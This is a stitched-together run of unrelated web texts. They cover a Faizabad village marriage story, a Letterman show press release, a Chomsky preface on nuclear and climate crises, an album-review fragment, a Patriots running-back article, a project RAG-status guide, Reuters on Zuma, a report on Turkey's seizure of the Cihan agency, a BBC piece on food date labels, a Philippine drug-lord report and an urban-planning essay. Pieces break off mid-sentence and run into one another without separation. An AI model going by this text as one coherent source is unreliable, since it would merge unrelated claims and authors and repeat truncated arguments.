Chanda, a resident of Bikapur village of Faizabad district, had an affair with a youth Suraj of the same village. However, bowing to the wishes of her parents, she married Phoolchand in 2012. Phoolchand, a native of the adjacent village Palipoorab, happily took his bride to his house.
However, soon he had to leave for Jalandhar to earn money. Though the husband and wife talked to each other frequently over phone, Chanda and Suraj's love further blossomed as he used to visit his relative in the Palipoorad village.
Also read: Hyderabad jilted lover stabs girl, sister to death.
Meanwhile, Phoolchand returned back on August 4 only to get a shocker. Chanda, not only returned the jewelery, clothes and other items that Phoolchand had given her at the time of wedding, but also told him the truth.
"I was happy that she relied on me and told me the truth. I got angry and sad for some time but decided to take out a solution", Phoolchand said.
After discussing the matter with his father, Phoolchand reached Chanda's village to confront the village panchayat. "I suggested that Chanda and Sooraj should be allowed to marry and I have no objections", Phoolchand said.
After a long discussion, the Panchayat agreed to Phoolchand's offer. Sooraj and his family were also summoned. Sooraj and his family members agreed and the wedding was performed at the village's shiv mandir on Thursday.
"This shows the maturity and strength of our youths. We salute Phoolchand for this brave step. It is better to accept the truth and act accordingly than to linger on with a forced relationship throughout the life", Ravindra Yadav, the village head of Bikapur said.
Besides throwing out a lavish lunch, Phoolchand and his family members also gave gifts to the newly wed at the time of `Vidai' with blessings of a happy married life.via press release:
U.S. WOMEN’S SOCCER STARS HOPE SOLO AND ABBY WAMBACH TALK ABOUT THEIR WORLD CUP LOSS TO JAPAN, AND ENGAGE IN SOCCER PRACTICE WITH LETTERMAN ON BROADWAY, ON CBS’S “LATE SHOW with DAVID LETTERMAN,” TUESDAY, JULY 19
“I watched this game Sunday – tough loss,” Letterman said. “Heartbreaker, heartbreaker,” replied Wambach. “And it looked like to me, and I know not as much about soccer as I wish I did, but it looked like to me you guys were all over these people, the Japanese team,” Letterman said. “And I thought, ‘Well, they’re just going to keep shooting and shooting and shooting until they score multiple goals.’ That didn’t necessarily happen, did it?” “Well, usually it does,” Wambach said. “Now, did I have the wrong expectations for what I saw during the game?” Letterman asked. “We did attack and attack and attack,” Solo said, “and you know, we really put our best game together for the final, and if you know anything about the game, I will try to educate you right now.” “I know nothing about the game,” Letterman laughed. “We had more possession of the ball in this game than any prior game,” Solo said, “so it really was our best game, but we just didn’t score as many goals as we would have liked.” “Now, was it an obstacle that you had played the Japanese team 22, 23 times and beaten them all those times? Was that a problem?” Letterman asked. “No, we didn’t feel that,” Wambach said. “I mean, we felt so confident going into this game – obviously the game against Brazil was such an uplifter, it got people’s attention back here, but, in the end, losing in penalties in the final of the World Cup is a heartbreaker, but I do feel like we got so much excitement on back here in the States, and couldn’t be prouder of it.”
After the interview, Letterman, Wambach and Solo went out onto Broadway under the marquee of the Ed Sullivan Theater to kick soccer balls into passing taxis heading down Broadway. Wambach and Solo’s entire interview, including their Broadway soccer scrimmage with Letterman, can be seen on the LATE SHOW tonight (11:35 PM-12:37 AM, ET/PT) on the CBS Television Network.
The U.S. women’s team ended their incredible run in the FIFA World Cup after being upset by Japan in Sunday’s final. The Japanese team won their first World Cup title, 3-1 on penalty kicks, after coming from behind twice in a 2-2 tie.
Also featured on the LATE SHOW tonight are actor Steve Carell, star of the new film “Crazy, Stupid, Love,” and a performance by the Del McCoury Band and the Preservation Hall Jazz Band.
The LATE SHOW with DAVID LETTERMAN is a production of Worldwide Pants Incorporated. Barbara Gaines, Matt Roberts, Jude Brennan, Maria Pope, Eric Stangel, Justin Stangel and Rob Burnett are the executive producers.
Official CBS website: http://www.cbs.com/late_night/late_show/Preface by Noam Chomsky for Practical Utopia: Strategies for a Desirable Society (PM Press), by Michael Albert.
It is tempting, and plausible, to regard the current historical period as an “interregnum” in Antonio Gramsci’s sense, recalling his words on the crisis of his day, which “consists precisely in the fact that the old is dying and the new cannot be born; in this interregnum a great variety of morbid Symptoms appear.”
The morbidity of many of the symptoms is all too apparent, and the crises are all too real.
The crises of our day come in two forms: some are merely very serious, while others are literally existential. In the latter category there are two crises, each posing challenges that have never arisen before in human history-literally challenges of survival, for humans and innumerable other species.
In their most critical form, both of these crises can be dated to the end of World War II. The first crisis is the nuclear age, which dawned on August 6, 1945, a day when those with eyes open understood that human intelligence had devised the means to destroy the species, and much else along with it. A review of the record of near accidents and reckless actions of leaders reveals that it is a near miracle that we have survived this long, and such miracles are unlikely to persist. One of the most sober, respected, and experienced nuclear strategists, William Perry, never given to exaggeration, says that he cannot understand why everyone is not as “terrified” as he is at the realization that “today, the danger of some sort of a nuclear catastrophe is greater than it was during the Cold War.” And as he knows very well, the world has come ominously close to terminal war all too often.
Perry’s judgment is not readily dismissed, particularly when one considers what is happening at the Russian border and the policies and rhetoric of the two major nuclear powers.
The permanent crisis of the nuclear age, with its regular near-explosions to terminal catastrophe, is deeply rooted in the structure of the nation-state system that has developed in recent centuries and will not be easy to dismantle in favor of a more humane and civilized social and political order.
The second existential crisis, which is already well underway, is also deeply rooted in core institutional structures of modern society, which will also not be easy to dismantle: the environmental crisis, termed by geologists the Anthropocene, a new geological epoch in which humans are radically altering the environment in ways that portend major catastrophes. These catastrophes are already being endured by species that are rapidly succumbing during the Sixth Extinction, now in progress, and threatening to rival the Fifth Extinction some sixty-five million years ago when 75 percent of plant and animal species were destroyed after a huge asteroid hit the earth.
There has been debate about the dating of the onset of the Anthropocene, but professional opinion is converging on the same time as the onset of the nuclear age, the end of World War II. Whether this crisis can be brought under control in time is not at all clear. And as in the case of the nuclear age, a look at the reactions of systems of power is far from reassuring. Instructive illustrative examples include Denmark, Germany, China, and the United States. Denmark and Germany are aiming to reach full reliance on renewable energy within several decades and are taking serious steps towards that goal. China, already well in the lead in developing and producing renewables, primarily solar and Wind, has announced plans to spend more than $360 billion through 2020 on renewable power sources, also creating Over thirteen million jobs in these industries.
What about the United States? It had been a participant, even sometimes a prominent participant, in the enterprise of confronting the crisis of global warming, but that changed radically on November 8, 2016, with the victory of a political organization that is, quite literally, dedicated to destroying the hope for the survival of organized human life.
The last comment should strike readers as extreme, if not scandalous, until they look at the simple facts. In the Republican primaries, every candidate either denied that what is happening is happening, or said that maybe it is (who knows?) but we shouldn’t do anything about it. The candidate hailed as the adult in the room, Ohio governor John Kasich, declared proudly that “we are going to burn coal in Ohio and we are not going to apologize for it.” The Winning candidate, who dismissed global warming as a hoax, calls for rapid increase in use of coal and other fossil fuels, dismantling of regulations, rejection of help to developing countries seeking to move to sustainable energy, |
into mild acceptance is a real accomplishment, but a difficult one to make compelling for an entire album. Seeds struggles in that regard, but has to be called a success. It’s not their most exciting, magnetic, or powerful record, but it is the one they needed to make.
Essential Tracks: “Happy Idiot”, “Ride”Rex Burkhead’s Former Coaches Explain Why Running Back Will Thrive With Patriots
Rex Burkhead has spent the majority of his NFL career as a role player, chipping in as a backup running back and special teamer in four seasons with the Cincinnati Bengals.
Two of his former coaches believe he can be much more than that for the New England Patriots.
Speaking earlier this week at the NFL Annual Meeting, Bengals head coach Marvin Lewis and former Cincinnati offensive coordinator Hue Jackson both heaped praise on Burkhead, who signed a one-year, $3.15 million contract with the Patriots earlier this month.
While $3.15 million might not sound like a massive salary, it is for a Patriots running back. New England hasn’t paid a back more than $2 million since 2010, and Burkhead will make more than teammates Dion Lewis and James White combined in 2017.
Jackson and Lewis both believe he’s worth the investment.
“He’s very talented,” Jackson told reporters, via CSNNE.com. “He’s a guy that was playing behind some very talented players (with the Bengals), and so he’s going to get his opportunity now, and he’s going to flourish. He’s a really good player. A really good player.
“He’s very versatile because he’s a good runner, a good pass-catcher. He’s a good blocker. He’s very bright. He’s been a sensational special teams player there, so he brings a lot of different elements to that football team.”
That’s not a newly developed opinion, either. As NFL Media’s Chris Wesseling pointed out, Jackson, who now coaches the Cleveland Browns, used almost the exact same words to describe Burkhead way back in 2015, calling him “one of the better players on our team.”
Lewis, the only head coach Burkhead has known in the NFL, said injuries prevented the 26-year-old from reaching his full offensive potential in Cincinnati.
“A lot of times when Rex got opportunities to play, he wasn’t quite 100 percent, and so that kind of limited him some,” Lewis told reporters, via CSNNE.com. “Even in preseason opportunities and so forth like that where you’d go into the game, and it’d be Rex’s — in my mind, Rex’s ballgame — to carry the ball in the first or second quarter, and he wasn’t able to suit up that day.
“That’s one of the things he’s battled over his career is just being 100 percent completely healthy. (But) he’s just a hard-working guy who always wants to be out there.”
Burkhead’s most recent game was the best of his pro career. With Jeremy Hill and Giovani Bernard both injured, Burkhead rushed 27 times for 119 yards and two touchdowns in a Week 17 win over the Baltimore Ravens that closed out his Bengals tenure.
Thumbnail photo via Troy Taormina/USA TODAY Sports ImagesIt is expected that every project will report progress and status on a regular basis. The reason for this being that the sponsor and other stakeholders want the comfort of knowing they have visibility of progress. This helps ensure that there are no nasty surprises and, if the project is having challenges, it ensures that the sponsor and stakeholders are aware and gives them the opportunity to take corrective action (or stop the project before more money is spent).
It is very common for a project status to be reported by RAG. RAG being the acronym for Red, Amber, Green. The basic principle is:
Green = project is on track
Amber = some issues, being managed, needs to be closely monitored
Red = serious issues, dates being missed, recovery plan required
This simple approach makes it very easy for the projects at risk or in trouble to be identified and action taken.
Consistent RAG Reporting
It is very important for an organisation to be able to understand the trust what status is being reported for a project. Therefore, it is very important to have clearly defined criteria for selecting the correct RAG status. Having a standard definition for each status will reduce reporting inconsistencies such as where one project manager is very hard on their reporting where as another is very relaxed.
The aim of the definitions is to ensure that all projects of a similar status are reported using the same RAG.
PMO Actions
1. RAG Definition
Define sensible definitions and criteria to be used to set RAGs for:
Scope
Schedule
Costs
Benefits
Overall Status
You can also include other dimensions such as Resources.
Make sure that the definition and criteria for each makes sense, is easy to understand and does not involve subjectivity.
2. Document and Publish RAG Definitions
The PMO must ensure that the RAG reporting definitions and criteria are clearly communicated, especially to the project managers. Time should be spent checking with the project managers to ensure a common understanding.
3. PMO Review of Project Reports
As part of the review process of all project report submissions, the PMO should check the RAG status on each project to:
Ensure the project is using a RAG that reflects status
Ensure that RAGs are being consistently applied across all projects
Other tips and ideas
It is very common for a project to start move to Amber and then remain at Amber for the duration of the project. This is not very helpful for monitoring progress. To overcome this you can look to define further granularity for each RAG setting:
Green 1
Amber 2
Amber 3
Red 4
Red 5
Then when a project moves to Amber 2, it is highly likely it will move between Amber 2 and Amber 3. This gives a better indication if the project is improving or deteriorating.
Another similar approach is to combine Red, Amber, Green with an arrow:
Up Arrow = status improving
Down Arrow = status deteriorating
Side Arrow = status remains the same
Whatever approach is chosen, just make sure that there is a clear definition and criteria to ensure the consistent application.
In summaryJOHANNESBURG (Reuters) - South Africa’s ruling African National Congress said on Monday its executive committee stood by President Jacob Zuma after some top officials demanded his resignation, saying the calls for him to resign were meant to dislodge the party from power.
FILE PHOTO: South African President Jacob Zuma addresses a prayer service held in Durban, South Africa, May 14, 2017. REUTERS/Rogan Ward
Zuma, who faces mounting pressure from within the ANC, survived a no-confidence motion at a meeting of the National Executive Committee (NEC) on Sunday, local media said.
“There was a call made in the NEC for the President to consider stepping down as President of the Republic,” ANC Secretary-General Gwede Mantashe told a news conference.
Mantashe said the calls for Zuma to step down “are not so much about removing the President but rather dislodging the ANC itself from power”.
Calls from opposition parties and civil society for Zuma to quit have increased after he axed respected finance minister Pravin Gordhan in March, triggering credit rating downgrades that have hit the chances of economic recovery.
The currency extended its losses to trade 1 percent lower to 13.000 rand per dollar by 1339 GMT on Monday, partly weakened by the ANC’s decision to back Zuma, traders said.
Last Tuesday the rand firmed by 1.5 percent against the dollar on media reports saying the ANC would discuss the removal of Zuma at the meeting, held from Friday to Sunday.
Zuma is scheduled to step down from the ANC helm in December. His term as South African head of state ends in 2019.
The NEC stood by Zuma at a similar meeting in November.
Mantashe said 110 members of the NEC were divided over the calls for Zuma to resign.
“Various contributions in support of and against the appeal to the president to step down were raised. Many more were neither in favor nor against the appeal but emphasized the need for unity within the organization,” he said.
NKC Independent Economists political analyst Gary van Staden said in a note that the outcome “was no surprise”.
Citing sources, he said: “Voices in support of the embattled president outnumbered his detractors by three to one... That flies in the face of growing media speculation and some expert opinion that the tide was turning against Mr Zuma.”Turkish authorities have appointed a panel of trustees to take over Cihan, the country’s second-largest news agency.
The agency announced the takeover on its website on Monday, only days after the Turkish government seized control of Turkey’s largest newspaper, Zaman, and its English-language sister publication, Today’s Zaman.
“The seizure of the news agency following that of Zaman is another nail in the coffin of journalism in Turkey,” said Yavuz Baydar, founding member of the Platform for Independent Journalism (P24). “[The agency] was known for independently monitoring each and every election in Turkey. The real effects of its closure cannot yet be understood, neither by the local nor by the global public.”
Can a Turkey sliding into despotism and censorship still join the EU? The answer must be no | Paul Mason Read more
On Friday a Turkish court ordered the seizure of Zaman by court-appointed administrators. Before forcing their way into the building, police violently cracked down on protesters who had gathered outside the newspaper offices.
Turkish media report that the trustees appointed to Cihan are the same ones who took control of Zaman last week.
The Cihan news agency is closely linked to the Islamic movement led by US-based cleric Fethullah Gülen, a former ally of Turkish president Recep Tayyip Erdoğan and his Justice and Development, or AK, party.
The two foes initially clashed over the AKP’s handling of the Kurdish issue and its foreign policy in Syria, before falling out over a corruption scandal that implicated senior government officials and members of Erdoğan’s immediate family.
Erdoğan has accused Gülen of having established a “parallel structure” within crucial state institutions, such as the judiciary and the police, and of wielding considerable influence through his vast media empire. Now labelled a terrorist by the Turkish government, Gülen stands accused of conspiring against Erdoğan and plotting his overthrow, charges that the cleric, who lives in voluntary exile in Pennsylvania, vehemently denies.
The takeover of the Feza Gazetecilik media company, to which Zaman and Cihan both belong, drew international criticism.
At the EU-Turkey summit on Monday, the French foreign minister, Jean-Marc Ayrault, criticised the Turkish government for its latest move against the opposition press, saying that the seizure of Zaman was “not acceptable” and that it contradicted “European values”. Federica Mogherini, high representative of the European Union for foreign affairs and security policy, also underlined that Turkey should protect freedom of expression.
“[Turkey must] respect the highest standards when it comes to democracy, rule of law, fundamental freedoms, starting with the freedom of expression,” Mogherini said ahead of the summit on Monday.
Human rights groups have also warned that this recent crackdown on yet another independent and opposition media outlet means a further deterioration of freedom of expression and freedom of the press in the country.
“By lashing out and seeking to rein in critical voices, President Erdoğan’s government is steamrolling over human rights,” said Andrew Gardner, Turkey researcher for Amnesty International. “A free and independent media, together with the rule of law and independent judiciary, are the cornerstones of internationally guaranteed freedoms which are the right of everyone in Turkey.”
Turkish media denounce 'biggest crackdown on press in republic’s history' Read more
The takeover of Cihan and Zaman follows the same pattern as a government crackdown on the Koza Ipek media group in October last year. The group’s newspaper and television operations have since been shut down entirely.
Turkey ranks 149 out of 180 countries in the World Press Freedom Index published by Reporters Without Borders, and more than 15 journalists, most of them Kurdish, are currently in jail. More than 40 others still face prosecution.
“About 1,300 journalists face dismissal after the takeover of Cihan,” Baydar said. “They are following the approximately 2,000 journalists who have gradually been sacked since the Gezi protests. This represents an immense collapse of independent journalism in Turkey. Increasingly all reporting flow into and out of Turkey will be controlled by the Turkish government.”By Tamsyn Kent
BBC News Magazine
Thousands of tonnes of food are binned annually in the UK because of confusion over use-by dates. But those willing to overlook the labels are finding big online discounts on food past its prime. The UK appears to be a nation of food wasters, throwing away 8.3 million tonnes every year. That is a mountain of leftovers, enough to fill 4,700 Olympic-sized swimming pools, says the government's anti-waste arm, Wrap. FOOD LABELS EXPLAINED Use-by: the key date in terms of safety. Never eat food after this date. Found on cooked meats, soft cheeses and dairy-based desserts Best-before: is about quality not safety. Food should be safe to eat after this date, but it might not be at its best. One exception is eggs Sell-by/Display-until: this information is for the retailer, not the customer. It is mainly used for stock control purposes Of that, 5.3 million tonnes could have been eaten, it claims. The cause of much of this waste is down to confusion over date labels. A recent survey suggests half of people do not understand the differences between them. More than one-third believe any product past its best-before date should not be eaten and 53% never eat fruit or vegetables after they have reached that date. "We lead extremely busy lives and taking an interest in what's written on the date label and then understanding what that actually means is a step too far for a lot of us," says Julia Falcon from the Love Food Hate Waste Campaign. "If people were more confident about what date labels mean they'd get round to eating more of their food rather than throwing it away." Offers online Some are already comfortable with eating food past its prime. Two years ago Dan Cluderay quit his job as a market stall holder and set up an online supermarket specialising in products past their best-before date. Please turn on JavaScript. Media requires JavaScript to play. His stock includes tinned and packaged groceries, biscuits, crisps and fizzy drinks. "In the last year sales have gone up 500%. The reason we've done well is that we're offering value for money," says Mr Cluderay. His Approved Foods site is one of a small number of online retailers selling short-dated or out-of-date best-before produce. "At one time, health inspectors would say you can't have that if it's past the best-before date and now there's a complete shift in the way people think. Perhaps it is more acceptable to drink a can of pop that's a week out of date." And, comparing the offers of such sites with High Street retail prices, it is easy to see where its success lies. I've made a career of selling food past its best-before and never once had someone say 'you've made me ill'
Dan Cluderay
Founder, Approved Foods Chocolate brownies two weeks past their best-before date are 20p instead of 89p. A dozen tins of olives with a best-before date of last August are going for £1 - as are 10 bags of crisps a week out of date. Brand names are often erased, but otherwise the website looks like any other online supermarket: customers add products to a basket, pay up and a courier delivers the shopping. Customers are asked: "Can you find it cheaper? Tell us." It is perfectly legal, and other online retailers are following suit. "Shops are allowed to sell food after its best-before date has passed," says Sam Montell, nutritionist for the Food Standards Agency. "Best-before dates are concerned with quality rather than safety, so it doesn't mean that the food is dangerous if the date has passed." Consumer advice Although date labels are now a ubiquitous part of grocery shopping, they were introduced relatively recently. Sell-by dates came in when supermarkets began to take over from milkmen, selling milk and cream. Marks and Spencer started using them in the 1950s, to give people confidence in the products in their chilled cabinets. Date labels came in in the 1950s For some, attitudes towards food labels are now changing. Perhaps it is down to a rising awareness of how much food and drink is wasted, and the cost. Recent Wrap data suggests £12bn worth is binned every year in the UK, or around £680 for the average family. Secretary of State for the Environment Hilary Benn has suggested sell-by dates should be scrapped and best-befores ignored. It is a notion many market traders subscribe to. At the Bullring Open Market in Birmingham, renowned for hundreds of stalls selling fresh produce, much of the food is sold without packaging or date labels. "We're much too fussy now, it's out of all proportion. We don't use best-before or sell-by dates here," says stallholder John Harris. "A piece of cheese, you can take it home and it'll keep for a good three weeks." But retailers argue that doing away with date labels would not reduce food waste. "Customer education will," says Stephen Robertson, director general of the British Retail Consortium. "Date labels are there to help customers but they need to understand what they mean." Below is a selection of your comments. I worked for a food retailer and in just one week they threw away £8,000 of fresh fruit and vegetables. I think the total wastage that week was £12,000! Almost all of which was not only edible but still fresh. But the company had very strict rules on date rotation to ensure all that they sold was of the best quality. We would have loved to give this 'out of code' - but very edible - food to charity but Health and Safety would not allow it; so it all went in the bin. Then scavengers started to raid the bin so we had to pour bleach on it. The problem is that manufacturers use these dates to ensure that stores buy new stock. By having to throw away unsold 'old' stock they can control the flow of food out of their gates.
Bob, N Wales Doing away with date labels is impractical as there are certain products that can last, unopened, for months but will deteriorate eventually - such as boxed fruit juice. It is important to have some date information as such products can sit in cupboards for some time before being used.
Phil, London "But retailers argue that doing away with date labels would not reduce food waste." Of course it will, since people will rely on their eyes and nose to establish if something is edible or not. It's not rocket science. I regularly eat food that is past its best before date, and often find that even milk is still perfectly drinkable up to two weeks after the date predicted by the supermarkets. But it will also result in fewer sales, won't it Mr Robertson? And we can't have that, can we?
Lolly, London, UK My rule is that if it's fit to eat eat it and if it's not don't - after all you wouldn't eat something that had gone off just because it was within its sell by/use by date - so why chuck out something that hasn't gone off? Use a bit of common sense.
Claire, Lancaster I run a small coffee shop serving light lunches. Best-before dates help me keep stock rotating in the correct order. All staff are encouraged to look at the dates every day because if they find one with only one day to go they can take it home free of charge.
A.K.Pearce, Reading I think that this is another example of the government assuming that common sense has disappeared. It might be a better idea to have a 'packed-on' date, so you know when the food was first made and packed. Then you would have an idea of how long it would last. Having worked for a supermarket as a student, I saw so much senseless waste, and I also know that tins of peas you're going to buy could have been canned months earlier and so the use-by is quite redundant in this case. The sad thing is, the waste supermarkets produce cannot be passed on; it's destroyed rather than given to homeless shelters or something like that.
Loulou W, Lancaster, UK I grew up in the 50s and my mum always said to me, "if it looks and smells ok, then it probably is ok." My daughter however will not eat a tin of soup because it is two months out of date. We need clearer labelling.
Jackie Morten, Ruislip, England I think a lot of people suspect that manufacturers shorten these dates so that people will replace the product with a new one when really they don't need to. What seems really odd is seeing very short dates on items traditionally used as preservatives, such as vinegar.
Alastair, Manchester I myself have often used so called out-of-date tinned goods. I was of the impression that the invention of the tin in the war was to stop food from going bad. My father used to buy his weekly beer which was always months out of date and he never had a bad can.
Kenneth Willis, Rudgwick England Before we retired we ran a shop for 35 years. We never threw anything away if it was out-of-date or past its best-before date, it was taken down to our kitchen and used for the family. We are still alive.
D Bowen, West Wales
Bookmark with: Delicious
Digg
reddit
Facebook
StumbleUpon What are these? E-mail this to a friend Printable versionSuspected drug lord Rolando “Kerwin” Espinosa Jr. will identify at least 12 more big-time names in the drug trade, all of which are top government and military officials, according to former whistleblower Sandra Cam.
In a media forum in Quezon City on Tuesday, Cam said this information was obtained by a Philippine National Police team who interrogated Espinosa in Abu Dhabi, where he was nabbed on Oct. 17 a tip-off from an oversea Filipino worker there.
ADVERTISEMENT
“There are sitting governors, congressmen… and even military generals,” Cam said, calling them “big fish.”
“I already know the names, but I do not want to preempt the chief of the Philippine National Police,” she said.
Espinosa is tagged as Eastern Visayas’ biggest drug lord. His father, Albuera, Leyte, Mayor Rolando Espinosa Sr., is currently detained at the Leyte subprovincial jail for illegal possession of firearms and drugs.
Cam also disclosed that the tipster who led to Espinosa’s arrest was an employee of her trading and cleaning services company in the Middle Eastern country.
She recounted that on the evening of Oct. 8, she received a message from her female secretary, asking her to call as soon as possible.
“She did not sound scared; she even sounded happy, excited, that she saw Espinosa,” Cam said of her staff member, whose identity she did not disclose.
Confirmed by staff
The self-confessed jueteng bagwoman said she asked her employee to send a photograph of the suspected drug lord via Viber to confirm his identity. She subsequently received a photo of Espinosa, who was pictured with a Filipina nurse whom she refused to identify, in an Indian store.
It turned out that her staff and Espinosa were staying in the same building.
“She recognized him through the Filipino news channel,” Cam said, noting that she personally did not know Espinosa or how he looks like.
ADVERTISEMENT
Cam said she instructed her employee to go to the Abu Dhabi immigration bureau and confirm whether Espinosa was indeed in the country.
Espinosa’s visa records, which Cam shared to reporters, bared that he traveled to several countries before staying in Abu Dhabi. On July 3, Espinosa flew from Malaysia to Thailand. He stayed there until the 14th, where he left for Abu Dhabi for the first time.
After five days, Cam said the alleged drug lord flew back to Bangkok, and then from Phuket, Thailand, to Hong Kong on July 23. On July 31, he reportedly flew from Hong Kong to Abu Dhabi, where he stayed until he was nabbed by authorities.
Upon confirming his identity, Cam said she immediately called Christopher “Bong” Go, special assistant to President Duterte. On Oct. 9, she said PNP chief, Director General Ronald “Bato” dela Rosa, called her, with events finally leading to Espinosa’s arrest on Oct. 17.
Speaking on the coincidence, Cam said she did not expect the turn of events.
“I don’t know the guy. I just based my info from the news,” she said.
Read Next
LATEST STORIES
MOST READ“Construction Potentials: Postwar Prospects and Problems, a Basis for Action,” Architectural Record, 1943; prepared by the F.W. Dodge Corporation Committee on Postwar Construction Markets. [Drawing by Julian Archer]
And the end of all our exploring
Will be to arrive where we started
And know the place for the first time.
— T. S. Eliot, “Little Gidding”
During a recent retreat here at Chapel Hill, planning faculty conducted a brainstorming session in which each professor — including me — was asked to list, anonymously, some of the major issues and concerns facing the profession today. These lists were then collected and transcribed on the whiteboard. All the expected themes were there — sustainability and global warming, equity and justice, peak oil, immigration, urban sprawl and public health, retrofitting suburbia, and so on. But also on the board appeared, like a sacrilegious graffito, the words “Trivial Profession.” When we voted to rank the listed items in order of importance, “Trivial Profession” was placed — lo and behold — close to the top. This surprised and alarmed a number of us. Here were members of one of the finest planning faculties in America, at one of the most respected programs in the world, suggesting that their chosen field was minor and irrelevant.
Now, even the most parochial among us would probably agree that urban planning is not one of society’s bedrock professions, such as law or medicine or perhaps economics. It is indeed a minor field, and that’s fine. Nathan Glazer, in his well-known essay “Schools of the Minor Professions,” labeled “minor” every profession outside law and medicine. Not even clerics or divines made his cut. Moreover, Glazer observed that attempts on the part of “occupations” such as urban planning to transform themselves “into professions in the older sense, and the assimilation of their programmes of training into academic institutions, have not gone smoothly.” But minority status by itself is not why “Trivial Profession” appeared on the whiteboard. It was there because of a swelling perception, especially among young scholars and practitioners, that planning is a diffuse and ineffective field, and that it has been largely unsuccessful over the last half century at its own game: bringing about more just, sustainable, healthful, efficient and beautiful cities and regions. It was there because of a looming sense that planners in America lack the agency or authority to turn idealism into reality, that planning has neither the prestige nor the street cred to effect real change.
To understand the roots of this sense of impotence requires us to dial back to the great cultural shift that occurred in planning beginning in the 1960s. The seeds of discontent sown then brought forth new and needed growth, which nonetheless choked out three vital aspects of the profession — its disciplinary identity, professional authority and visionary capacity.
It is well known that city planning in the United States evolved out of the landscape architectural profession during the late Olmsted era. Planning’s core expertise was then grounded and tangible, concerned chiefly with accommodating human needs and functions on the land, from the scale of the site to that of entire regions. One of the founders of the Chapel Hill program, F. Stuart Chapin, Jr. (whose first degree was in architecture), described planning as “a means for systematically anticipating and achieving adjustment in the physical environment of a city consistent with social and economic trends and sound principles of civic design.” The goal was to create physical settings that would help bring about a more prosperous, efficient and equitable society. And in many ways the giants of prewar planning — Olmsted Jr., Burnham, Mumford, Stein and Wright, Nolen, and Gilmore D. Clarke — were successful in doing just that.
“Construction Potentials: Postwar Prospects and Problems, a Basis for Action,” Architectural Record, 1943; prepared by the F.W. Dodge Corporation Committee on Postwar Construction Markets. [Drawing by Julian Archer]
The postwar period was something else altogether. By then, middle-class Americans were buying cars and moving to the suburbs in record numbers. The urban core was being depopulated. Cities were losing their tax base, buildings were being abandoned, neighborhoods were falling victim to blight. Planners and civic leaders were increasingly desperate to save their cities. Help came soon enough from Uncle Sam. Passage of the 1949 Housing Act, with its infamous Title I proviso, made urban renewal a legitimate target for federal funding. Flush with cash, city redevelopment agencies commissioned urban planners to prepare slum-clearance master plans. Vibrant ethnic neighborhoods — including the one my mother grew up in near the Brooklyn Navy Yard — were blotted out by Voisinian superblocks or punched through with expressways meant to make downtown accessible to suburbanites. Postwar urban planners thus abetted some of the most egregious acts of urban vandalism in American history. Of course, they did not see it this way. Most believed, like Lewis Mumford, that America’s cities were suffering an urban cancer wholly untreatable by the “home remedies” Jane Jacobs was brewing and that the strong medicine of slum clearance was just what the doctor ordered. Like their architect colleagues, postwar planners had drunk the Corbusian Kool-Aid and were too intoxicated to see the harm they were causing.
Thus ensued the well-deserved backlash against superblock urbanism and the authoritarian, we-experts-know-best brand of planning that backed it. And the backlash came, of course, from a bespectacled young journalist named Jane Jacobs. Her 1961 The Death and Life of Great American Cities, much like the paperwork Luther nailed to the Schlosskirche Wittenberg four centuries earlier, sparked a reformation — this time within planning. To the rising generation of planners, coming of age in an era of cultural ferment and rebellion, Jacobs was a patron saint. The young idealists soon set about rewiring the field. The ancien régime was put on trial for failures real and imagined, for not responding adequately to the urban crisis, and especially for ignoring issues of poverty and racism. But change did not come easily; the field was plunged into disarray. A glance at the July 1970 Journal of the American Institute of Planners reveals a profession gripped by a crisis of mission, purpose and relevance. As the authors of one article — fittingly titled “Holding Together” — asked, how could this well-meaning discipline transform itself “against a background of trends in the society and the profession that invalidate many of the assumptions underlying traditional planning education”?
Plan for Better Cities, first day cover, Charles R. Chickering/Cachet Craft (1967). [Courtesy of Thomas Campanella]
One way was to disgorge itself of the muscular physical-interventionist focus that had long been planning’s métier. King Laius was thus slain by Oedipus, in love with “Mother Jacobs,” as Mumford derisively called her. Forced from his lofty perch, the once-mighty planner found himself in a hot and crowded city street. No longer would he twirl a compass above the city like a conductor’s baton, as did the anonymous planner depicted on the 1967 stamp Plan for Better Cities (on the First Day Cover illustration, he even wears a pinky ring!). So thoroughly internalized was the Jacobs critique that planners could see only folly and failure in the work of their forebears. Burnham’s grand dictum “Make no little plans” went from a battle cry to an embarrassment in less than a decade. Even so revered a figure as Sir Ebenezer Howard was now a pariah. Jacobs herself described the good man — one of the great progressives of the late Victorian era — as a mere “court reporter,” a clueless amateur who yearned “to do the city in” with “powerful and city-destroying ideas.” Indeed, to Jacobs, not just misguided American urban renewal but the entire enterprise of visionary, rational, centralized planning was suspect. She was as opposed to new towns as she was to slum clearance — anything that threatened the vitality of traditional urban forms was the enemy. It is largely forgotten that the popular United Kingdom edition of Death and Life was subtitled “The Failure of Town Planning.” How odd that such a conservative, even reactionary, stance would galvanize an entire generation.
The Jacobsians sought fresh methods of making cities work — from the grassroots and the bottom up. The subaltern was exalted, the master laid low. Drafting tables were tossed for pickets and surveys and spreadsheets. Planners sought new alliances in academe, beyond architecture and design — in political science, law, economics, sociology. But there were problems. First, none of the social sciences were primarily concerned with the city; at best they could be only partial allies. Second, planning was not taken seriously by these fields. The schoolboy crush was not returned, making the relationship unequal from the start. Even today it’s rare for a social science department to hire a planning PhD, while planning programs routinely hire academics with doctorates in economics and political science. Indeed, Nathan Glazer observed that one of the hallmarks of a minor profession is that faculty with “outside” doctorates actually enjoy higher prestige than those with degrees in the profession itself. They also tend to have minimal allegiance to planning.
This brings us to the first of the three legacies of the Jacobsian turn: It diminished the disciplinary identity of planning. While the expanded range of scholarship and practice in the post-urban renewal era diversified the field, that diversification came at the expense of an established expertise — strong, centralized physical planning — that had given the profession visibility and identity both within academia and among “place” professions such as architecture and landscape architecture. My students are always astonished to learn just how toxic and stigmatized physical planning — today a popular concentration — had become by the 1970s. Like a well-meaning surgeon who botches an operation, planners were (correctly) blamed for the excesses of urban renewal and many other problems then facing American cities. But the planning baby was thrown out with the urban-renewal bathwater. And once the traditional focus of physical planning was lost, the profession was effectively without a keel. It became fragmented and balkanized, which has since created a kind of chronic identity crisis — a nagging uncertainty about purpose and relevance. Certainly in the popular imagination, physical planning was what planners did — they choreographed the buildings and infrastructure on the land. By the mid-1970s, however, even educated laypersons would have difficulty understanding what the profession was all about. Today, planners themselves often have a hard time explaining the purpose of their profession. By forgoing its traditional focus and expanding too quickly, planning became a jack-of-all-trades, master of none. And so it remains.
